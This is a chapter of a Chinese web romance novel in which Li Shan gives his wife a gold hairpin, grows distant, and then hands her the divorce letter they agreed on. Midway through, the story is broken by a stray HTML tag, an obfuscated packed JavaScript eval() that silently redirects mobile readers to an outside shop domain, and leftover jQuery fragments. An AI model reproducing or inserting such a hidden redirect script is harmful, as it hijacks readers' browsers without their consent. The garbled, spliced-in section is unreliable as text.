文趣网 > 其他小说 > 糙汉与甜妻 > 39. 第 39 章
    回了家,李山照常去厨房喝了碗温热的茶水。

    回屋的时候,温知盈刚洗完手,正拿着帕子擦手。

    李山摸了摸怀里的东西,轻声喊她:“温知盈。”

    “嗯?”温知盈把手擦干,放下帕子看他。

    李山看着她,“我送你个礼物好不好?”

    温知盈抬眉,毫不客气对着他伸手。

    李山看着她的动作失笑,走到她身前把怀里的东西摸出来,轻轻放在她掌心,“给。”

    温知盈望着手心,那是一根金釵,缠枝做的蝴蝶样式,上面坠着几颗点缀的珠子,清雅贵气中透出几分灵动。

    她抬眼去看李山,声音雀跃,“为什么送我这个?”

    李山:“新年礼物。”

    温知盈提醒:“早都入春了。”

    李山轻轻笑了下,“我补一个。”

    温知盈被他蹩脚的理由逗笑,反正他总有他的理由的。

    她不再追问,看了看他,又看了看手里的金釵,直接坐在梳妆台前,“那你帮我戴上。”

    李山望着她,犹豫片刻过去将那根金釵拿在手心。

    温知盈顺势朝他歪了歪脑袋,方便他戴。

    李山伸手,找着位置将釵子轻轻插进她的头发,“好了。”

    温知盈对着铜镜左右看了看,完全看不见头上的釵子。

    她眨了眨眼,故意问李山,“好看吗?”

    李山直接回:“好看。”

    温知盈直接笑出了声,“都看不见,哪里来的好看?”

    李山这才把视线往铜镜里看,从正面确实看不见。

    温知盈笑眯眯伸手在头上指了个位置,“给我戴这里。”

    李山把刚刚插好的金钗又抽了出来,朝着她刚指的位置插进去。

    他看向铜镜,这下能看到那根钗子了。

    温知盈照了照,再次欢喜问他,“好看吗?”

    李山眼神细细抚过她的眉眼,再次道:“好看。”

    这金钗比那根银簪子适合她,贵气。

    他眼神柔柔定在铜镜里的人身上,提醒她:“这钗子不仅好看,还能换银子,若是你以后缺银子了,就可以当了换银子用。”

    温知盈伸手摸了摸那钗子,娇声道:“我才不会当它呢。”

    她开心站起身,“今天花圃里的花结花苞了,我带你去看。”

    说完,她已经迫不及待出屋了。

    李山看着她出屋的背影,收回视线,走到柜前打开柜子,把身上剩下的散碎银钱摸出来,全放进了温知盈的那个布包。

    院里的温知盈喊他,“李山?”

    李山重新把柜子关好,“来了。”

    晚上。

    温知盈照常把脚伸进李山的被窝,被李山用腿轻轻一挡。

    温知盈抬眼看他。

    李山垂着眼,对上她不解的眼神:“天已经不冷了,不用再暖脚了。”

    温知盈笑着问他,“不暖脚就不能放啦?”

    李山静静看着她,没接话。

    但那意思很明显,不让她放。

    温知盈眉心轻拢,微微噘嘴。

    天气是暖了很久了,可昨天她还放了呢,怎么今天就不让放了?

    可她也做不到赖着不收回来。

    温知盈刚把脚收回自己的被窝,下一瞬李山圈住她的手腕,把她的手也从他被窝里推了回来。

    温知盈眉心蹙得更紧,不满看他:“手也不能放了?”

    李山顺手压着她的被子,把那条界限做得更加明显,“这样睡太热。”

    温知盈盯着他,整张小脸都快皱起来了。

    他这样,搞得像要和她划清关系一样。

    她小嘴噘着,愈发不开心。

    屋子里安静了很久,李山什么都没说,温知盈收回视线,翻身背对他,“李山,你今天怪怪的。”

    李山这晚做了个梦,他梦到温知盈又哭了。

    她站在县城新买的小院里哭得好伤心,可周围一个帮忙的人都没有。

    他急得上前问话,可温知盈一点都看不见他,只一个人不停抽噎哭着。

    李山猛地醒了过来,慌慌起身去看身边的温知盈。

    她还睡着,睡前生气的小脸因为睡着了舒展了许多,呼吸轻匀,一脸安宁。

    李山重重吐出口气,脱力一般靠在床头。

    吓死他了。

    他就说温知盈有院子了,还能刺绣挣银子,又怎么可能过得不好。

    胸口的心脏还在慌乱跳动,李山缓了两口气,又偏着脑袋去看熟睡的温知盈。

    可是她那么娇气,一个人真的能过好吗……

    ——————

    温知盈觉得李山最近有些怪,可若要细说哪里怪她也说不上来。

    他们两人还和以前差不多相处,可是他不会主动给她擦头发了,也不让她进他的被窝了,睡前说话也只说两句就睡了。

    他们之间突然多了条界限,好像两人真的成了房子主人和借住的客人。

    院子里的花终于都开了,整个花圃被各种颜色的花朵铺满,风一吹就齐齐轻晃。

    温知盈站在花圃前静静看着,李山隔着距离和她并排站着,好奇问:“赏花就这样干看吗?”

    温知盈解释:“倒也不只是干看,除了观其形,也会体其韵。”

    李山听不太明白,“韵?”

    温知盈看着花圃里盛放的花,柔柔开口:“满园春的颜色多样,最常见便是桃红色,这种颜色鲜艳热烈,风一吹,它们就会一大片轻轻的摇晃,动起来,生命力十足,这就是它们的韵。”

    温知盈偏头去看身边的李山,“我看到它们的韵,生机和春天。”

    而李山送她的,不仅仅是花里的韵。

    李山听得云里雾里,“这本来就是春天开的花,哪还用体会。”

    温知盈浅浅笑道:“每人赏花的心境不同,有的人就会觉得与谁一同赏花比花本身更重要。”

    “总之,只要开心欢喜就好,这也是一种韵,只不过是花外的韵。”

    现下,这两种韵她都体会到了。

    李山静静看着花圃里的花,微风轻拂,吹动花圃里的花,也吹动温知盈的衣摆,风在院子里转了一圈,又轻轻拂过他的身躯。

    那一瞬,李山好像也体会到了温知盈口中所谓的“韵”。

    他一点都不想让这“韵”被风吹跑……

    两人安静在花圃前站了许久,谁也没再多说话。

    晚上,温知盈洗漱后没先睡,而是盘腿坐着等李山。

    今天,是他们约定的最后一天。

    院子里李山洗澡的水声停停响响,磨蹭着像是故意拖时间似的。

    是以李山回屋见到床上依然精神十足等他的温知盈时,眼里有些讶然。

    他快速垂下视线,明知故问道:“怎么还不睡?”

    温知盈看着他,老实回:“等你。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765862|209015||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    李山转身磨磨蹭蹭去关门,背对着问她:“等我做什么?”

    温知盈眨了眨眼,他是忘了?

    李山心高高吊着,没听到温知盈说话,正要松口气,下一瞬温知盈主动提醒他:“明天就到我们约定的时间了。”

    那按在门上的大手狠狠一颤。

    温知盈攥着被子,直直看着他,等着他。

    可李山没说话,就那样背对着她一动不动,毫无反应。

    她那颗微微跳跃的心停悬在半空。

    不知过了多久,屋子里若有若无响起一声叹息,李山转身朝着床边走去。

    温知盈仰着脸看他,眸底乌亮亮的。

    然后她看见李山伸手从怀里摸出一张折得方正的纸张。

    温知盈心口倏地一紧,视线牢牢定在那张纸上,“这是……什么?”

    李山指腹摩挲着轻薄的纸张,眸色郁暗。

    他挤了挤喉咙,开口:“以后……你遇到人别和他们说你以前的事,别人不知道你多好,会看轻你。”

    温知盈眸子一颤,慌慌抬眼,失措茫然望向李山。

    他只是一脸平静凝着她,对着她嘱咐:“要是再遇到人找你帮忙,你别给银子,也别跟着别人乱走,让他们去找衙役寻求帮助就好。”

    “柜子里你的银子,再加上你手里这副绣品的银子,够买一个好一点的小院子,在城里住虽然安全,但是也不能随便和人交心,万事多留心眼……”

    李山一句一句慢慢说着,视线在温知盈慢慢湿润的眸中重重颤了颤。

    温知盈还仰着脸望着他,她今天一直等的不是这些话。

    她是想过李山说不出什么动人的话,可至少……至少不应该这些。

    明明他们之间,早就越过了界限。

    温知盈紧紧攥着被子,唇瓣咬得发颤,绷着下巴紧紧盯着李山。

    所以,是她误会了?

    浓黑的睫羽重重一抖,眼眶的泪再也憋不住,一大颗滚了出来。

    李山瞳孔一颤,下意识伸手就要去擦,下一瞬,被温知盈轻轻躲开,“不……不用……”

    李山看着落空的手,硬硬将手收回去,垂在身侧缓缓捏成个拳头。

    温知盈伸手胡乱去擦眼泪,擦了好几下才勉强擦完。

    她没敢再看李山,视线颤颤落在那张纸上,声音沙沙哑哑的,“这是和离书吗?”

    李山手指紧紧捏着那张纸,闷声应:“嗯,当初说好的……”

    温知盈鼻间又开始泛酸了,她都快忘了,这是当初说好的。

    是她日子过得太安逸,忘了。

    她伸手抓上那张和离书,伸手拉了拉,纸张被她拉得绷紧,另一端依旧捏在李山手里,纹丝不动。

    温知盈动作顿了顿,抬眼去看李山,声音极轻地喊他:“李山?”

    李山捏着和离书的手颤了颤,已经做到这一步,他再怎么拖也没意义。

    捏着和离书的手缓缓松开,温知盈刚升起的那点不确定再次被掐灭。

    她把和离书接了过来,小心放在枕头下。

    既是她误会了,总不能再给别人添烦忧。

    她想得通透,动作也利索,放好和离书然后面对着墙躺好,“好了,睡觉吧。”

    温知盈闭上眼,一抹烫热不受控从眸中涌出,挤堆到眼尾再重重滑下。

    她才想不通透。

    她好讨厌李山,他既然对她没那个意思干嘛还对她那么好……